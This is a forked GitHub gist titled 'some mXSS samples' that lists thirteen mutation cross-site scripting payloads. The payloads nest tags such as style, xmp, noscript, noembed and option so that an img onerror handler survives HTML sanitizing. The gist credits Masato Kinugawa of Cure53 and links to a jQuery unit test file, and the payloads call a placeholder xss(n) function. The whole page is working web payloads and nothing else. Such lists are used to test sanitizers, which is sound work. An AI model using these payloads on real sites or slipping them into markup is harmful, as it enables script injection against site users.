Skip to content

Instantly share code, notes, and snippets.

@tmacbg

tmacbg/mXSS

Forked from irsdl/mXSS
Created June 18, 2020 10:54
Show Gist options
  • Save tmacbg/009b117e289136137a3c5d67e8a5773e to your computer and use it in GitHub Desktop.
Save tmacbg/009b117e289136137a3c5d67e8a5773e to your computer and use it in GitHub Desktop.
Download ZIP
some mXSS samples
Raw
mXSS
<img alt="<x" title="/><img src=url404 onerror=xss(0)>">
<img alt="
<x" title="/>
<img src=url404 onerror=xss(1)>">
<style><style/><img src=url404 onerror=xss(2)>
<xmp><xmp/><img src=url404 onerror=xss(3)>
<title><title /><img src=url404 onerror=xss(4)>
<iframe><iframe/><img src=url404 onerror=xss(5)>
<noframes><noframes/><img src=url404 onerror=xss(6)>
<noembed><noembed/><img src=url404 onerror=xss(7)>
<noscript><noscript/><img src=url404 onerror=xss(8)>
<foo" alt="" title="/><img src=url404 onerror=xss(9)>">
<img alt="<x" title="" src="/><img src=url404 onerror=xss(10)>">
<noscript/><img src=url404 onerror=xss(11)>
<option><style></option></select><img src=url404 onerror=xss(12)></style>
Source:
by Masato Kinugawa from Cure53:
https://github.com/mgol/jquery/blob/75429b4e4124d41d224cc28c21d45831e0b49c0f/test/unit/manipulation.js
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment